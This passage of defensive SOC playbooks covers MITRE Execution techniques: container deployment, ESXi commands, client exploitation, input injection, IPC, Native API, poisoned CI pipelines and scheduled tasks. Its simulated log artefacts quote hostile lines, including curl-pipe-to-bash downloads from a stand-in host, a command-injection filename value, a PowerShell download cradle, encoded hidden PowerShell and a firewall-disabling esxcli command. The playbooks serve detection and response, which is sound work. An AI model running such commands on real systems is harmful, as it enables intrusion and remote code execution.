This technique commonly follows Initial Access or Container Administration Command and precedes Persistence, Privilege Escalation and Impact.

When to trigger this playbook

Trigger this playbook when indicators suggest unexpected or suspicious container deployments, including:

- New pods, deployments or services outside approved workflows
- Containers deployed from untrusted or unknown registries
- Privileged containers or hostPath mounts created
- Containers running non-business processes (miners, scanners)
- Deployment activity outside CI/CD pipelines or change windows
- Sudden resource spikes (CPU, GPU, network)

Example use case scenario (end-to-end)

Context: SOC detects a new Kubernetes deployment created by a valid account. The container image is pulled from an unknown registry, runs with elevated privileges and begins high CPU usage consistent with cryptomining.

Attacker objective: Deploy containers to execute payloads, persist and monetise resources.

Defender objective: Identify malicious deployments, contain cluster impact and prevent recurrence.

What it looks like (simulated SOC artefacts)

A) Kubernetes Deployment Creation

2026-04-01T01:11:02Z

tool=kubectl

action=apply

resource=deployment/miner-app

namespace=prod

user=cloud-admin@example.my

B) Image Pull from Untrusted Registry

2026-04-01T01:11:09Z

image=unknown-registry[.]net/crypto/miner:latest

pull_status=success

C) Privileged Container Configuration

2026-04-01T01:11:16Z

securityContext.privileged=true

hostPath=/var/run/docker.sock

D) Resource Abuse Indicators

2026-04-01T01:11:28Z

pod=miner-app-7f9c

cpu_usage=95%

network_outbound=high

E) Persistence via Kubernetes Object

2026-04-01T01:11:41Z

resource=daemonset/miner-persist

status=created

Severity decision (SOC)

Low

- Container deployed via approved pipeline
- Image from trusted registry
- No privileged settings

Medium

- Manual deployment from unexpected user
- Unusual image but no privilege escalation

High

- Privileged container or host mounts
- Untrusted registry images
- Resource abuse or persistence objects

Example severity: High

(Privileged container + untrusted image + cryptomining behaviour)

Step-by-step SOC workflow

Step 1 Validate container deployment legitimacy

Confirm:

1. Is the deployment approved and documented?
2. Was it deployed via CI/CD or manually?
3. Is the image trusted and scanned?
4. Does the container require elevated privileges?

Decision point

- Legitimate workload → document and monitor
- Unauthorised or suspicious → continue investigation immediately

Step 2 Identify deployment scope

Component	Evidence	Attacker value
Pod / Deployment	New workload	Execution
Image registry	Unknown source	Malware delivery
Privileges	--privileged, hostPath	Host escape
Persistence	DaemonSet / CronJob	Long-term access
Resources	CPU/GPU abuse	Monetisation

Step 3 Map deployment behaviour to attacker intent

3A) Malicious Code Execution

Indicators

- Unknown images

- Suspicious processes inside container

Attacker intent

- Run tooling or malware

3B) Persistence via Orchestration

Indicators

- DaemonSets, CronJobs
- Self-healing workloads

Attacker intent

- Survive restarts and remediation

3C) Privilege Escalation / Host Access

Indicators

- Privileged containers
- Docker socket mounts

Attacker intent

- Escape container boundaries

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Credential Access
 - Secrets, service account tokens
2. Lateral Movement
 - Cross-namespace access
3. Defense Evasion
 - Audit log tampering
4. Impact
 - Cryptomining, data exfiltration, service disruption

Decision point

- Evidence found → escalate to Incident Response

Containment actions

If detected early

1. Delete suspicious pods, deployments and services
2. Block untrusted registries via admission controls
3. Revoke credentials used for deployment

If abuse confirmed

1. Quarantine affected nodes
2. Disable compromised accounts and service principals
3. Terminate all malicious workloads
4. Activate full container incident response

Eradication and recovery

- Remove malicious images from nodes
- Rotate all Kubernetes secrets and tokens
- Restore RBAC and admission policies
- Rebuild nodes if host compromise suspected
- Validate cluster health and integrity

Detection engineering (SIEM ideas)

A) New deployment outside pipeline

```
index=k8s_audit  
| where verb IN ("create","apply")  
| where user NOT IN approved_ci_cd
```

B) Untrusted image usage

```
index=container  
| where image_registry NOT IN trusted_registries
```

C) Privileged container detection

```
index=container  
| where securityContext.privileged=true OR hostPath IS NOT NULL
```

Analyst checklist

- Deployment legitimacy verified

- Image source assessed
- Privilege and persistence reviewed
- Malicious workloads removed
- Credentials and policies updated

Post-incident improvements

- Enforce image allowlists and signing (Sigstore)
- Block privileged containers by default
- Require CI/CD-only deployments
- Monitor container creation as Tier-1 alerts
- Include container deployment abuse in SOC exercises

Playbook 35 (MITRE Execution): ESXi Administration Command

Technique: ESXi Administration Command

Purpose

Detect, investigate and respond to unauthorised or malicious ESXi administrative command execution, enabling attackers to:

- Execute commands directly on hypervisors
- Disable security controls and logging
- Access or manipulate all hosted virtual machines
- Deploy ransomware at the hypervisor level
- Mass-delete or encrypt VMs (environment-wide impact)

This technique commonly follows Valid Accounts, Trusted Relationship or Cloud/Infra Admin Access and precedes Impact (Data Destruction, Service Disruption, Ransomware).

When to trigger this playbook

Trigger this playbook when indicators suggest abuse of ESXi or vSphere administrative access, including:

- ESXi Shell or SSH enabled unexpectedly
- esxcli commands executed outside maintenance windows
- vCenter admin actions without change approval
- Mass VM power-off, snapshot deletion or datastore access
- Hypervisor configuration changes affecting multiple VMs
- Threat intel reporting ESXi-focused ransomware activity

Example use case scenario (end-to-end)

Context: SOC detects a successful SSH login to an ESXi host using valid credentials. Within minutes, esxcli commands disable firewall rules, stop management agents and multiple VMs are powered off across the cluster.

Attacker objective: Use ESXi administration commands to gain hypervisor-level execution and prepare for environment-wide impact.

Defender objective: Identify malicious hypervisor activity early, contain host access and prevent mass VM disruption.

What it looks like (simulated SOC artefacts)

A) ESXi SSH Login

2026-04-03T01:11:02Z
host=esxi-03
service=SSH
user=root
src_ip=203.0.113.77
result=success

B) ESXi Shell / esxcli Execution

2026-04-03T01:11:09Z
command=esxcli network firewall set --enabled false
user=root

C) Management Agent Manipulation

2026-04-03T01:11:16Z
command=/etc/init.d/hostd stop
result=success

D) Virtual Machine Control

2026-04-03T01:11:28Z
action=PowerOffVM
vm_count=24
initiated_by=root

E) Datastore Interaction

2026-04-03T01:11:41Z
path=/vmfs/volumes/datastore1/
operation=delete_snapshot

Severity decision (SOC)

Low

- ESXi admin activity within approved maintenance
- Commands aligned with documented change requests

Medium

- ESXi admin commands from unusual source or timing

- No immediate VM or datastore impact

High

- Root-level ESXi access
- Firewall/logging disabled
- Mass VM manipulation or datastore activity

Example severity: High

(ESXi root login → firewall disabled → multiple VMs powered off)

Step-by-step SOC workflow

Step 1 Validate ESXi admin legitimacy

Confirm:

1. Is the account authorised for ESXi administration?
2. Is the activity approved and change-documented?
3. Is access occurring via SSH, Shell or vCenter?
4. Does the source IP match admin baseline?

Decision point

- Approved admin activity → document and monitor
- Unauthorised or suspicious → continue investigation immediately

Step 2 Identify ESXi execution scope

Area	Evidence	Attacker value
ESXi Shell / SSH	Direct host access	Hypervisor control
esxcli	Host config changes	Defense evasion
vCenter	Cluster-wide actions	Scale
VM lifecycle	Power / delete	Impact
Datastores	File access	Destruction / ransomware

Step 3 Map behaviour to attacker intent

3A) Hypervisor-Level Execution

Indicators

- esxcli commands
- Shell access enabled

Attacker intent

- Bypass guest OS security

3B) Defense Evasion

Indicators

- Firewall disabled
- Management/logging agents stopped

Attacker intent

- Reduce visibility and response

3C) Preparation for Impact

Indicators

- VM shutdowns
- Snapshot or datastore manipulation

Attacker intent

- Ransomware or mass disruption

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Impact
 - VM encryption or deletion
2. Persistence
 - New root users or SSH keys
3. Lateral Movement
 - Other ESXi hosts or vCenter
4. Credential Access
 - vCenter or backup system access

Decision point

- Evidence found → escalate to Major Incident Response

Containment actions

If detected early

1. Disable SSH and ESXi Shell immediately
2. Block source IPs
3. Reset ESXi and vCenter credentials

If abuse confirmed

1. Isolate affected ESXi hosts
2. Lock down vCenter access
3. Suspend all hypervisor admin sessions
4. Activate full infrastructure IR procedures

Eradication and recovery

- Restore ESXi configuration from known-good state
- Re-enable logging and firewall controls
- Rotate all hypervisor and vCenter credentials
- Validate VM integrity and availability
- Recover from backups if impact occurred

Detection engineering (SIEM ideas)

A) ESXi SSH access monitoring

```
index=infra  
| where service="SSH"  
| where host LIKE "esxi%"
```

B) esxcli execution detection

```
index=infra  
| where command LIKE "esxcli%"
```

C) Mass VM operation alert

```
index=virtualization  
| where action IN ("PowerOffVM","DeleteVM","DeleteSnapshot")  
| stats count by user  
| where count > threshold
```

Analyst checklist

- ESXi admin access validated

- Scope of host and VM impact identified
- Hypervisor credentials rotated
- Logging and firewall restored
- Backup and recovery status confirmed

Post-incident improvements

- Disable ESXi SSH and Shell by default
- Enforce MFA for vCenter and hypervisor admins
- Monitor ESXi admin commands as Tier-0 alerts
- Separate backup networks from ESXi management
- Include ESXi ransomware scenarios in SOC drills

Playbook 36 (MITRE Execution): Exploitation for Client Execution

Technique: Exploitation for Client Execution

Purpose

Detect, investigate and respond to client-side exploitation leading to execution, enabling attackers to:

- Execute code without macros or scripts
- Bypass user security awareness controls
- Deliver payloads stealthily
- Establish footholds without obvious malware drops
- Chain directly into persistence and credential access

This technique often overlaps with Drive-by Compromise but focuses specifically on exploitation-driven execution on the client.

When to trigger this playbook

Trigger this playbook when indicators suggest execution caused by exploitation, including:

- Application crashes followed by process execution
- EDR alerts referencing memory corruption or ROP chains
- Browser or document viewer spawning system shells
- Exploit-related CVE detections
- Malware execution with no user-initiated file run
- Multiple hosts impacted by the same client-side exploit

Example use case scenario (end-to-end)

Context: SOC detects multiple endpoints launching PowerShell shortly after users open a PDF attachment. EDR telemetry shows a use-after-free vulnerability in the PDF reader being exploited to execute shellcode.

Attacker objective: Exploit client software vulnerabilities to execute code silently without relying on macros or scripts.

Defender objective: Identify exploited software, contain affected hosts and prevent further exploitation.

What it looks like (simulated SOC artefacts)

A) Client Application Crash

2026-04-05T01:11:02Z
application=pdfreader.exe
event=Crash
exception=UseAfterFree

B) Exploit Detection (EDR)

2026-04-05T01:11:06Z
alert=Exploit_Prevention
technique=ROP_Chain
cve=CVE-2025-XXXX

C) Unexpected Child Process

2026-04-05T01:11:09Z
parent_process=pdfreader.exe
child_process=powershell.exe
command_line=IEX(New-Object Net.WebClient).DownloadString(...)

D) Payload Retrieval

2026-04-05T01:11:14Z
destination=http://node[.]net/stage2.ps1
download_status=success

E) Post-Exploitation Persistence

2026-04-05T01:11:28Z
event=Registry_Modified
key=HKCU\Software\Microsoft\Windows\CurrentVersion\Run

Severity decision (SOC)

Low

- Exploit attempt blocked
- No child process execution

Medium

- Exploit partially successful
- Payload blocked or quarantined

High

- Successful exploitation and execution
- Persistence or C2 activity observed

Example severity: High

(PDF exploit → PowerShell execution → persistence)

Step-by-step SOC workflow

Step 1 Validate exploitation-driven execution

Confirm:

1. Was execution preceded by application crash or exploit alert?
2. Did the parent process normally not spawn shells or scripts?
3. Is there no user-initiated execution?
4. Is the behaviour aligned with known CVEs or exploit kits?

Decision point

- User-initiated execution → follow User Execution playbook
- Exploit-driven execution → continue investigation immediately

Step 2 Identify exploited client scope

Component	Evidence	Attacker value
Browser	RCE / sandbox escape	Silent delivery
Document viewer	Memory exploit	Trusted file abuse
Email client	Rendering exploit	Zero-click execution
OS component	Client-side CVE	Broad impact

Step 3 Map behaviour to attacker intent

3A) Memory Corruption Exploitation

Indicators

- ROP chains
- Heap spray / UAF

Attacker intent

- Execute arbitrary code

3B) Shellcode-Based Execution

Indicators

- In-memory execution
- No file dropped initially

Attacker intent

- Evade disk-based detection

3C) Loader Deployment

Indicators

- Network calls post-exploit
- Second-stage payloads

Attacker intent

- Establish foothold and persistence

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Persistence
 - Autoruns, scheduled tasks
2. Credential Access
 - Browser credential stores
3. Lateral Movement
 - SMB, RDP, WinRM
4. C2
 - Beacons or DNS tunnelling

Decision point

- Evidence found → escalate to Incident Response

Containment actions

If exploit blocked early

1. Block exploit infrastructure
2. Patch vulnerable client software
3. Increase exploit prevention sensitivity

If exploitation successful

1. Isolate affected endpoints immediately
2. Kill malicious child processes
3. Block all related IOCs
4. Reset potentially exposed credentials

Eradication and recovery

- Remove malware and persistence mechanisms
- Reimage endpoints if exploit integrity is uncertain
- Patch exploited software and dependencies
- Validate no lateral movement occurred
- Update detection rules

Detection engineering (SIEM ideas)

A) Client process spawning shell

```
index=edr  
| where parent_process IN ("pdfreader.exe","winword.exe","chrome.exe","outlook.exe")  
| where child_process IN ("powershell.exe","cmd.exe","bash")
```

B) Exploit alert correlation

```
index=edr  
| where alert_type="Exploit_Prevention"  
| transaction host maxspan=5m
```

C) Crash → execution sequence

```
index=edr  
| transaction host maxspan=2m  
| where event="Crash" AND child_process IS NOT NULL
```

Analyst checklist

- Exploited application identified
- CVE confirmed and patched
- Endpoint scope identified
- Persistence and C2 ruled out
- User and management notified

Post-incident improvements

- Enforce rapid patching of client software
- Enable exploit prevention and memory protection
- Reduce attack surface (disable unused plugins/features)
- Monitor client crash-to-execution patterns
- Include client-side exploit scenarios in SOC drills

BY IZMER IZUDDIN

Playbook 37 (MITRE Execution): Input Injection

Technique: Input Injection

Purpose

Detect, investigate and respond to execution caused by malicious input handling, enabling attackers to:

- Execute OS commands via applications
- Run scripts or interpreters indirectly
- Bypass authentication and authorisation
- Deploy web shells or backdoors
- Chain into persistence, credential access and lateral movement

This technique is especially dangerous because execution originates from legitimate applications, not attacker binaries.

When to trigger this playbook

Trigger this playbook when indicators suggest execution resulting from user-controlled input, including:

- WAF/IDS alerts followed by process execution
- Web or API requests containing shell metacharacters
- Application logs showing unexpected command strings
- Web server processes spawning shells or interpreters
- Execution tied directly to HTTP/API requests
- Repeated malformed input followed by successful execution

Example use case scenario (end-to-end)

Context: SOC detects suspicious API requests containing shell characters to a public-facing application. Seconds later, the web server spawns a bash shell, which downloads a payload and establishes persistence.

Attacker objective: Exploit weak input validation to execute arbitrary commands on the server.

Defender objective: Confirm injection-driven execution, contain the compromised service and prevent recurrence.

What it looks like (simulated SOC artefacts)

A) Web / API Request with Malicious Input

2026-04-07T01:11:02Z
uri=/api/v1/report
parameter=filename
value=report.pdf;curl http://node[.]net/x.sh|bash
src_ip=198.51.100.22

B) WAF / IDS Detection

2026-04-07T01:11:04Z
rule=Command_Injection_Detected
payload=";&&`\$()"
action=alert

C) Application Process Spawning Shell

2026-04-07T01:11:07Z
parent_process=java
child_process=/bin/bash
command_line=bash -c curl http://node[.]net/x.sh | bash

D) Payload Execution

2026-04-07T01:11:11Z
file=/tmp/.cache.sh
execution_status=success

E) Web Shell Creation

2026-04-07T01:11:26Z
file=/var/www/html/.config.php
owner=www-data

Severity decision (SOC)

Low

- Injection attempt blocked
- No execution observed

Medium

- Injection partially successful

- Execution blocked or sandboxed

High

- Successful command or code execution
- Web shell, persistence or outbound C2 observed

Example severity: High

(Command injection → bash execution → web shell)

Step-by-step SOC workflow

Step 1 Validate injection-driven execution

Confirm:

1. Was execution triggered by external input (HTTP/API/UI)?
2. Does the parent process normally execute OS commands?
3. Is there direct correlation between request and execution time?
4. Are there known injection patterns (| && \$())?

Decision point

- Input blocked before execution → tune controls
- Execution occurred → continue investigation immediately

Step 2 Identify injection surface and scope

Injection surface	Evidence	Attacker value
Web app	HTTP parameters	RCE
API	JSON/XML input	Automation abuse
Templates	SSTI payloads	Code execution
Databases	SQL/OS escape	System access
Logs	Log injection	Secondary execution

Step 3 Map behaviour to attacker intent

3A) OS Command Injection

Indicators

- Shell metacharacters
- Web/app process spawning shell

Attacker intent

- Execute arbitrary commands

3B) Script / Interpreter Execution

Indicators

- Python, Bash, PowerShell invoked indirectly

Attacker intent

- Run tooling without binaries

3C) Web Shell Deployment

Indicators

- New files in web root
- Obfuscated PHP/JSP/ASPX

Attacker intent

- Persistent access

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Persistence
 - Web shells, cron jobs
2. Credential Access
 - Config files, secrets
3. Lateral Movement
 - SSH, database access
4. C2
 - Beaconing from application server

Decision point

- Evidence found → escalate to Incident Response

Containment actions

If injection blocked early

1. Block source IPs and payload patterns
2. Apply WAF virtual patching
3. Increase input validation logging

If execution successful

1. Isolate affected application server
2. Disable vulnerable endpoints
3. Block attacker infrastructure
4. Preserve logs and artefacts

Eradication and recovery

- Remove web shells and malicious files
- Patch application input validation flaws
- Rotate exposed credentials and secrets
- Rebuild server if integrity is uncertain
- Conduct secure code review

Detection engineering (SIEM ideas)

A) Injection payload detection

index=waf OR index=web
| where payload LIKE "%;%%" OR payload LIKE "%|%" OR payload LIKE "%\$()%"

B) Web process spawning shell

index=edr
| where parent_process IN ("java","nginx","apache","php-fpm")
| where child_process IN ("bash","sh","powershell.exe")

C) Request-to-execution correlation

index=web OR index=edr
| transaction host maxspan=2m
| where child_process IS NOT NULL

Analyst checklist

- Injection vector identified
- Execution confirmed or ruled out
- Affected endpoints isolated
- Persistence removed

- Application patched and validated

Post-incident improvements

- Enforce strict server-side input validation
- Use allowlists, not blacklists
- Apply least-privilege for application processes
- Enable runtime application self-protection (RASP)
- Include input injection scenarios in AppSec + SOC exercises

BY IZMER IZZUDDIN

Playbook 38 (MITRE Execution): Inter-Process Communication

Technique: Inter-Process Communication

Sub-techniques:

- Component Object Model (COM)
- Dynamic Data Exchange (DDE)
- XPC Services

Purpose

Detect, investigate and respond to adversary execution achieved by abusing legitimate IPC mechanisms, enabling attackers to:

- Execute code via trusted system components
- Bypass application allowlists and script restrictions
- Trigger execution indirectly without dropping binaries
- Blend malicious execution with normal OS behaviour

IPC-based execution is low-noise and evasive because execution is delegated to trusted processes.

When to trigger this playbook

Trigger this playbook when indicators suggest execution via IPC rather than direct process launch, including:

- Office documents triggering background execution without macros
- Unexpected COM object activation
- DDE requests spawning command interpreters
- XPC services executing commands on macOS
- Child processes launched by trusted system brokers
- Execution paths that bypass script controls

Example use case scenario (end-to-end)

Context: SOC detects PowerShell execution originating from Microsoft Word, but macros are disabled. Further analysis shows the document used DDE fields to invoke cmd.exe, which then launched PowerShell.

Attacker objective: Abuse IPC mechanisms to execute commands indirectly, bypassing security controls.

Defender objective: Identify IPC abuse paths, contain execution and prevent future misuse.

What it looks like (simulated SOC artefacts)

A) Component Object Model (COM)

2026-04-09T01:11:02Z
parent_process=explorer.exe
activated_object=Shell.Application
method=ShellExecute
argument=powershell.exe -EncodedCommand SQBFAFgA...

B) Dynamic Data Exchange (DDE)

2026-04-09T01:11:14Z
parent_process=winword.exe
dde_service=cmd
dde_topic=/c powershell -nop -w hidden -enc SQBFAFgA...

C) XPC Services (macOS)

2026-04-09T01:11:26Z
process=launchd
xpc_service=com.apple.ScriptService
request=doShellScript
command=curl http://node[.]net/x.sh | sh

Severity decision (SOC)

Low

- IPC usage aligned with normal application behaviour
- No command execution observed

Medium

- IPC invocation of system utilities
- Execution blocked or constrained

High

- IPC triggers shell or script execution
- Obfuscation or encoded commands

- Follow-on persistence or C2

Example severity: High

(DDE → cmd.exe → PowerShell with encoded command)

Step-by-step SOC workflow**Step 1 Validate IPC-driven execution**

Confirm:

1. Did execution occur via a broker or trusted component?
2. Is the parent process normally non-executing (Office, Finder)?
3. Was user interaction minimal or absent?
4. Are known IPC abuse patterns present (DDE, COM automation)?

Decision point

- Benign IPC usage → document and monitor
- Suspicious IPC execution → continue investigation immediately

Step 2 Identify IPC mechanism and scope

IPC mechanism	Evidence	Attacker value
COM	Object activation	Bypass controls
DDE	Office field execution	Macro-less execution
XPC	macOS service calls	Trusted execution

Step 3 Map behaviour to attacker intent**3A) COM Automation Abuse****Indicators**

- Shell.Application, WScript.Shell
- Indirect ShellExecute calls

Attacker intent

- Execute binaries via trusted brokers

3B) DDE-Based Execution**Indicators**

- DDE fields in documents
- cmd.exe or powershell.exe spawned

Attacker intent

- Bypass macro restrictions

3C) XPC Service Abuse

Indicators

- doShellScript or similar calls
- Commands executed via launchd

Attacker intent

- Abuse macOS IPC trust model

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Persistence
 - Registry, launch agents, login items
2. Credential Access
 - Browser stores, keychains
3. Lateral Movement
 - SMB, SSH, Apple Remote Desktop
4. C2
 - Beacons from spawned processes

Decision point

- Evidence found → escalate to Incident Response

Containment actions

If detected early

1. Block malicious documents or files
2. Disable DDE or restrict COM automation
3. Terminate spawned processes

If abuse confirmed

1. Isolate affected endpoints
2. Revoke credentials used on affected hosts
3. Block IPC abuse patterns via EDR
4. Preserve artefacts for forensics

Eradication and recovery

- Remove malicious files and persistence
- Reimage endpoints if integrity is uncertain
- Patch Office, OS and IPC-related components
- Validate no residual IPC abuse remains
- Update detection rules

Detection engineering (SIEM ideas)

A) Office spawning shells via IPC

```
index=edr  
| where parent_process IN ("winword.exe","excel.exe","powerpnt.exe")  
| where child_process IN ("cmd.exe","powershell.exe")
```

B) COM object abuse detection

```
index=edr  
| where com_object IN ("Shell.Application","WScript.Shell")
```

C) XPC shell execution

```
index=macos  
| where xpc_request LIKE "%doShellScript%"
```

Analyst checklist

- IPC mechanism identified
- Execution confirmed or ruled out
- Scope of affected endpoints identified
- Persistence and C2 checked
- Controls updated

Post-incident improvements

- Disable or restrict DDE where possible
- Monitor COM automation as high-risk
- Harden macOS XPC entitlements

- Train SOC on IPC-based execution patterns
- Include IPC abuse in detection engineering roadmaps

BY IZMER IZUDDIN

Playbook 39 (MITRE Execution): Native API

Technique: Native API

Purpose

Detect, investigate and respond to execution achieved via direct OS API usage, enabling attackers to:

- Execute payloads fully in memory
- Bypass script controls and command-line detection
- Evade EDR hooks by using direct syscalls
- Load malicious code without creating files
- Blend execution with legitimate system behaviour

This technique is commonly used by advanced malware, red teams and post-exploitation frameworks.

When to trigger this playbook

Trigger this playbook when indicators suggest execution without standard process or interpreter patterns, including:

- Suspicious memory allocations and code execution
- API calls associated with process injection or loading
- EDR alerts referencing syscall abuse or hook bypass
- Execution without command-line or parent process evidence
- Abnormal behaviour from trusted system processes
- In-memory payloads with no file artefacts

Example use case scenario (end-to-end)

Context: SOC observes outbound network connections from a workstation, but no suspicious processes or scripts are visible. Memory telemetry reveals use of `NtAllocateVirtualMemory` and `NtCreateThreadEx`, consistent with in-memory execution via Native APIs.

Attacker objective: Execute payloads using direct OS APIs to evade detection and persist stealthily.

Defender objective: Identify Native API execution, contain the affected host and prevent further stealth execution.

What it looks like (simulated SOC artefacts)

A) Suspicious Memory Allocation

2026-04-11T01:11:02Z
process=explorer.exe
api=NtAllocateVirtualMemory
allocation_type=RWX
size=40960

B) Direct Thread Creation

2026-04-11T01:11:06Z
process=explorer.exe
api=NtCreateThreadEx
target=Self

C) Manual Module Mapping

2026-04-11T01:11:11Z
event=ManualMap
module=unknown
loaded_from=memory

D) No Corresponding Process Creation

2026-04-11T01:11:14Z
note=No CreateProcess / execve observed

E) Network Activity from Trusted Process

2026-04-11T01:11:22Z
process=explorer.exe
destination=198.51.100.45:443
pattern=beaconing

Severity decision (SOC)

Low

- Native API usage consistent with legitimate software
- No malicious follow-on behaviour

Medium

- Suspicious API usage but execution blocked

- Limited memory manipulation

High

- In-memory execution confirmed
- Direct syscall usage
- C2, persistence or lateral movement observed

Example severity: High

(Native API memory execution → stealth C2)

Step-by-step SOC workflow

Step 1 Validate Native API-based execution

Confirm:

1. Is execution occurring without standard process creation?
2. Are memory allocation + execution APIs used together?
3. Is the behaviour abnormal for the hosting process?
4. Are there EDR alerts for hook bypass or syscall abuse?

Decision point

- Legitimate native behaviour → document and monitor
- Suspicious or malicious → continue investigation immediately

Step 2 Identify Native API execution scope

API category	Evidence	Attacker value
Memory mgmt	RWX allocation	In-memory execution
Threading	Remote/local threads	Stealth execution
Loading	Manual PE / ELF load	No file artefacts
Syscalls	Direct kernel calls	EDR evasion
IPC / Network	Native sockets	C2

Step 3 Map behaviour to attacker intent

3A) In-Memory Payload Execution

Indicators

- RWX memory regions
- Thread start at non-module address

Attacker intent

- Evade disk-based detection

3B) EDR / AV Evasion

Indicators

- Direct syscalls
- Bypassed user-mode hooks

Attacker intent

- Avoid security controls

3C) Stealth Command-and-Control

Indicators

- Network traffic from trusted processes
- No visible loader process

Attacker intent

- Maintain hidden access

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Persistence
 - Registry, services, launch agents
2. Credential Access
 - LSASS interaction, keychains
3. Lateral Movement
 - SMB, RPC, SSH via native APIs
4. Impact
 - Data manipulation, ransomware loaders

Decision point

- Evidence found → escalate to Incident Response

Containment actions

If detected early

1. Suspend affected process
2. Block outbound C2 destinations
3. Increase memory protection controls

If abuse confirmed

1. Isolate affected endpoint immediately
2. Capture memory for forensics
3. Kill malicious threads and processes
4. Reset potentially exposed credentials

Eradication and recovery

- Remove persistence mechanisms
- Reimage system if memory integrity is uncertain
- Patch OS and vulnerable components
- Update EDR rules for syscall abuse
- Validate no residual in-memory artefacts remain

Detection engineering (SIEM ideas)

A) RWX memory allocation detection

index=edr
| where api="NtAllocateVirtualMemory"
| where protection="RWX"

B) Thread execution from non-module memory

index=edr
| where api="NtCreateThreadEx"
| where start_address NOT IN loaded_modules

C) Network activity from trusted UI processes

index=edr OR index=network
| where process IN ("explorer.exe", "finder", "systemd")
| where outbound_connections=true

Analyst checklist

- Native API execution confirmed

- Affected processes identified
- Memory artefacts collected
- Persistence ruled out or removed
- Endpoint restored securely

Post-incident improvements

- Enable EDR kernel-mode telemetry where possible
- Monitor memory-only execution patterns
- Baseline native API usage per process
- Restrict outbound traffic for user processes
- Include Native API abuse in advanced SOC training

Playbook 40 (MITRE Execution): Poisoned Pipeline Execution

Technique: Poisoned Pipeline Execution

Purpose

Detect, investigate and respond to malicious execution within CI/CD pipelines, enabling attackers to:

- Execute arbitrary code in trusted build environments
- Steal secrets, API tokens and signing keys
- Insert backdoors into production artifacts
- Deploy malicious containers or binaries at scale
- Bypass endpoint-centric security controls

This technique commonly follows Initial Access (Valid Accounts, Compromised Repo, Phishing) and precedes Persistence, Supply Chain Compromise and Impact.

When to trigger this playbook

Trigger this playbook when indicators suggest **CI/CD or pipeline abuse**, including:

- Unexpected changes to pipeline YAML or scripts
- Build jobs executing network calls to unknown domains
- Secrets accessed or exfiltrated during builds
- Builds running from unapproved branches or forks
- Artifacts behaving differently from source code
- Runners executing commands outside normal build logic

Example use case scenario (end-to-end)

Context: SOC detects outbound connections from a CI runner to an external IP during a build. Investigation reveals a modified pipeline script that executes a hidden curl command, exfiltrating cloud credentials and injecting a backdoor into a container image.

Attacker objective: Poison the pipeline to execute malicious code and compromise downstream systems.

Defender objective: Identify pipeline abuse, contain credential exposure and prevent supply-chain impact.

What it looks like (simulated SOC artefacts)

A) Pipeline Script Modification

2026-04-13T01:11:02Z
repo=backend-service
file=.github/workflows/build.yml
change=added_step
author=devops-bot

B) Malicious Build Step Execution

2026-04-13T01:11:08Z
runner=github-hosted
command=curl http://node[.]net/p.sh | bash

C) Secret Access in Pipeline

2026-04-13T01:11:14Z
secret=AWS_SECRET_ACCESS_KEY
context=CI_JOB
usage=read

D) Artifact Poisoning

2026-04-13T01:11:22Z
artifact=container_image
tag=prod-latest
checksum_mismatch=true

E) External Communication

2026-04-13T01:11:31Z
source=ci-runner
destination=198.51.100.88:443
bytes_out=24567

Severity decision (SOC)

Low

- Pipeline change reviewed and approved
- No secret access or external communication

Medium

- Pipeline modification without review
- Suspicious but blocked execution

High

- Malicious code executed in pipeline
- Secrets accessed or artifacts poisoned

Example severity: High

(Pipeline modification → secret exfiltration → poisoned artifact)

Step-by-step SOC workflow

Step 1 Validate pipeline execution legitimacy

Confirm:

1. Was the pipeline change approved and reviewed?
2. Is the build running from an expected branch or tag?
3. Are commands executed consistent with normal build logic?
4. Are secrets accessed strictly required for the job?

Decision point

- Legitimate pipeline activity → document and monitor
- Unauthorised or suspicious → continue investigation immediately

Step 2 Identify pipeline execution scope

Pipeline component	Evidence	Attacker value
Build scripts	Modified YAML	Code execution
Runners	Command execution	Environment access
Secrets	API keys, tokens	Lateral movement
Artifacts	Images, binaries	Supply-chain impact
Deploy stages	Auto-release	Production compromise

Step 3 Map behaviour to attacker intent

3A) Pipeline-Based Code Execution

Indicators

- Hidden commands in build steps
- Network calls during build

Attacker intent

- Execute tooling in trusted automation

3B) Credential Harvesting

Indicators

- Secrets accessed unexpectedly
- Environment variables exfiltrated

Attacker intent

- Expand access beyond pipeline

3C) Supply Chain Poisoning

Indicators

- Artifact checksum changes
- Backdoored images or packages

Attacker intent

- Persist and scale compromise

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Persistence
 - Backdoors in repositories or images
2. Lateral Movement
 - Cloud, registry or cluster access
3. Impact
 - Malicious deployments to production
4. Exfiltration
 - Build logs or artifacts leaked

Decision point

- Evidence found → escalate to Incident Response / Supply Chain Incident

Containment actions

If detected early

1. Stop affected pipelines immediately
2. Revoke exposed secrets and tokens
3. Block runner outbound access

If abuse confirmed

1. Disable compromised repositories and runners
2. Rotate all pipeline and cloud credentials
3. Pull and quarantine poisoned artifacts
4. Activate supply-chain IR procedures

Eradication and recovery

- Remove malicious pipeline code
- Rebuild pipelines from trusted baseline
- Re-issue clean artifacts and images
- Audit all downstream deployments
- Restore trust in CI/CD environment

Detection engineering (SIEM ideas)

A) Pipeline script change monitoring

```
index=ci  
| where file LIKE "%.yml" OR file LIKE "%.yaml"  
| where change_type="modified"
```

B) Network activity from CI runners

```
index=network  
| where src_type="ci-runner"  
| where dest_domain NOT IN trusted_domains
```

C) Secret usage anomaly

```
index=ci  
| where secret_accessed=true  
| where job NOT IN approved_secret_usage
```

Analyst checklist

- Pipeline change validated
- Secret exposure assessed
- Artifact integrity verified

- Downstream systems reviewed
- Credentials rotated

Post-incident improvements

- Enforce mandatory code review for pipeline changes
- Use ephemeral, least-privilege pipeline secrets
- Restrict CI runner network egress
- Sign and verify build artifacts
- Monitor pipelines as Tier-0 execution paths

BY IZMER IZUDDIN

Playbook 41 (MITRE Execution): Scheduled Task / Job

Technique: Scheduled Task / Job

Sub-techniques:

- At
- Cron
- Scheduled Task
- Systemd Timers
- Container Orchestration Job

Purpose

Detect, investigate and respond to adversaries executing code via scheduled mechanisms to ensure reliable, repeatable execution without user interaction, enabling attackers to:

- Execute payloads at specific times or intervals
- Blend malicious execution into legitimate automation
- Trigger execution after reboot or at off-hours
- Evade user-driven detections and timing-based controls
- Support persistence-adjacent execution paths

